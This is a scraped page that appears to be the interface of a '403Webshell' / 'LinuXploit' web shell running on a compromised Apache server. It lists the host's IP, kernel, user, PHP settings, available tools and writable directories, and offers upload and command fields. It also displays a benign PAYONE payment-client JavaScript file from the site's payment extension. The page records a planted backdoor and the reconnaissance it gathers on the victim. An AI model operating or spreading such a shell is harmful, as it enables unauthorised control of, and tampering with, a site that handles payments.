403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/ext/payone/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/ext/payone/js/client_api.js
/**
 * Namespaces
 * @type {Object}
 */
var PAYONE = {};
PAYONE.Handler = {};
PAYONE.Service = {};
PAYONE.Validation = {};

/**
 * A Gatewaay to send Requests to Payone
 *
 * @param data
 * @constructor
 */
PAYONE.Gateway = function (config, callback) {
    this.config = config;
    this.callback = callback;
    this.request = '';
    this.response = '';

    this.call = function (data) {

        this.initRequest(data);

        // Options
        var options = {
            callback_function_name:'PAYONE.Callback.invoke'
        };

        // AJAX Callback
        PAYONE.Callback.gateway = this;
        PAYONE.Callback.callback = this.callback;

        // Send Request to PAYONE
        var request = new PayoneRequest(this.request, options);
        request.checkAndStore();
    };

    this.initRequest = function (data) {
        this.request = data;

        // Add Default Parameters
        for (var key in this.config) {
            this.request[key] = this.config[key];
        }

        // init Request
        this.request.callback_method = 'PAYONE.Callback.invoke';
    }

    this.setResponse = function (response) {
        this.response = response;
    };

    this.getLastResponse = function () {
        return this.response;
    };

    this.getLastRequest = function () {
        return this.request;
    };

    this.setCallback = function (callback) {
        this.callback = callback;
    };
};

/**
 * A Callback Object that replaces default PAYONE Callback and improves Callback Handling
 *
 * @type {Object}
 */
PAYONE.Callback = {
    /**
     * @type {Object} reference to the Gateway Object
     */
    gateway:'',
    /**
     * @type callback should be a valid Callback
     */
    callback:'',

    /**
     * Callback entry method
     *
     * @param response
     */
    invoke:function (response) {
        this.gateway.setResponse(response);

        document.getElementsByTagName("body")[0].removeChild(payoneCallbackFunction.payoneScript);

        var callback = this.callback;
        callback(response);
    }
};

Youez - 2016 - github.com/yon3zu
LinuXploit